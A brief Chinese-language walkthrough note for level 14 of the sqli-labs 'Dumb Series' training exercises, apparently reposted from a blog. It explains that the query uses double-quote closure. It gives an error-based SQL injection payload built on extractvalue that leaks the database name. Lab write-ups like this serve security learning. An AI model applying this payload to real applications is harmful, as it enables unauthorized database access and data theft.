（1）闭合方式为一对双引号
（2）可用报错注入。如：
admin" and extractvalue(1,concat(0x7e,(select database()))) and "
其余报错注入方式于12关相同。
SQLI DUMB SERIES-14
原文：https://www.cnblogs.com/momoli/p/10705279.html
